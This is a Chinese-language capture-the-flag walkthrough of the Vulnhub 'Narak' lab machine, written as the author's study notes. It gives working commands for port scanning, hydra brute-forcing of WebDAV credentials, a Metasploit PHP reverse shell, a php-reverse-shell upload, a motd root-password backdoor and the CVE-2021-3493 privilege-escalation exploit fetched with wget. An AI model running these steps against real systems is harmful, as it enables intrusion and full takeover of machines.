本篇主要对Vulnhub中Narak靶场进行练习:
通过对此靶场的练习,熟练掌握初步信息收集、目录发现、MSF利用、NC反弹、口令爆破、提权等知识;全方位细致演示,笔记只为勉励自己,本人只是一个努力上山的人,若有错处,大佬勿喷!!!
靶机下载地址:
https://www.vulnhub.com/entry/ha-narak,569/
信息收集:
通过masscan 快速发现地址及端口:
masscan -p 1-65535 192.168.45.0/24 -e eth0 --rate=100000
发现192.168.45.136 开放22,80端口:
拨测80端口,发现web页面:
使用目录探测工具:
dirb http://192.168.45.136/
发现webdav目录:
这里同样可以使用dirsearch.py来进行目录扫描:
python3 dirsearch.py -u http://192.168.45.136 -f -w /usr/share/wordlists/dirb/common.txt
WebDAV基于HTTP的通信协议,在GET、POST、HEAD等几个HTTP标准方法以外添加了一些新方法,使应用程序可对web Server直接读写, 并支持写文件锁定及解锁,还可以支持文件的版本控制。
常用的文件共享有三种: FTP、Samba、WebDAV。
通过爆破的方式去登录WebDAV,这里使用cewl来制作字典:
cewl会通过爬行网页,把网页上发现的词生成字典:
cewl http://192.168.45.136/ -w wt.txt
使用hydra对账号密码进行爆破:
hydra -L wt.txt -P wt.txt 192.168.45.136 http-get /webdav
获取账号:yamdoot 密码:Swarg
成功登录WebDAV:
第一种方法:通过msf来进行木马上传:
通过use exploit/windows/http/xampp_webdav_upload_php攻击载荷来进行测试:
set payload php/meterpreter/reverse_tcp
set RHOST 192.168.45.136
set USERNAME yamdoot
set PASSWORD Swarg
set LHOST 192.168.45.135
运行上传的PHP文件后,成功反弹:
通过回退目录 发现3个用户:
inferno narak yamdoot
在mnt里面发现两个文件:
--[----->+<]>---.+++++.+.+++++++++++.--.+++[->+++<]>++.++++++.--[--->+<]>--.-----.++++.
这一段使用的是Brainfuck加密,通过在线解密得出:chitragupt
eWFtZG9vdDpTd2FyZw==
这一段使用的是base64加密 ,就是之前我们爆破登录成功的账号和密码:
前期端口扫描的时候,发现开放22 和 80端口,我们可以通过获取到密码,去尝试登录账号:
inferno chitragupt
成功登录获取第一个flag。
使用msf的时候,在meterpreter中同样可以进行文件上传啊,使用shell后提升交互,然后提权等等:
upload /root/Desktop/CVE-2021-3493-main/exp
第二种方法:使用webdav上传,利用nc监听并反弹shell:
准备shell,编辑监听地址:
cp /usr/share/webshells/php/php-reverse-shell.php .
使用Webdav命令将php木马上传靶机:
成功反弹获取shell,使用python 来提升交互shell:
如果靶机里面有python2同样可以使用第一种命令,根据实际情况而定:
python -c "import pty;pty.spawn('/bin/bash')"
python3 -c "import pty;pty.spawn('/bin/bash')"
使用之前的账号密码通过ssh登录:
或者直接在交付shell上面进目录查看:
第二个flag获取方法有两种:
第一种:使用motd提权,在文件中最后一行写入命令,将root密码替换掉,切换root用户获取。
motd = message of the day 用户登录系统时弹出的欢迎信息,默认是放在/etc/update-motd.d/的shell脚本。这些脚本文件就是当用户登录时就能以root用户身份执行一段代码。故尝试修改其中某个脚本,当每次登录系统就把root用户密码修改为一个已知的密码。
通过命令查找可写、可执行的文件:
find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null
在文件中写入:
echo "echo 'root:123456'| chpasswd">>00-header
退出再次登录 切换用户root ,使用之前写进去的密码123456 成功登录 获取第二个flag:
第二种,通过gcc编译提权文件,上传执行后,提权至root获取:
通过https://github.com/briskets/CVE-2021-3493 下载提权文件:
使用gcc将提权文件编译成可执行文件:
gcc exploit.c -o exploit
本地开启80端口,提供下载:
通过wget 传送至靶机上:
wget http://192.168.45.135/exploit /tmp/exploit
赋予执行权限:并成功提权,切换root目录下 查看root.txt 获取第二个flag:
本次靶场完美结束,这里提一句,当获取权限后,就可以直接查看flag,及提权后flag获取。可不用解密;只是多个解密小知识点。
以直接查看flag,及提权后flag获取。可不用解密。
只是多个解密小知识点。
[外链图片转存中…(img-Mn53Pxv1-1640769585964)]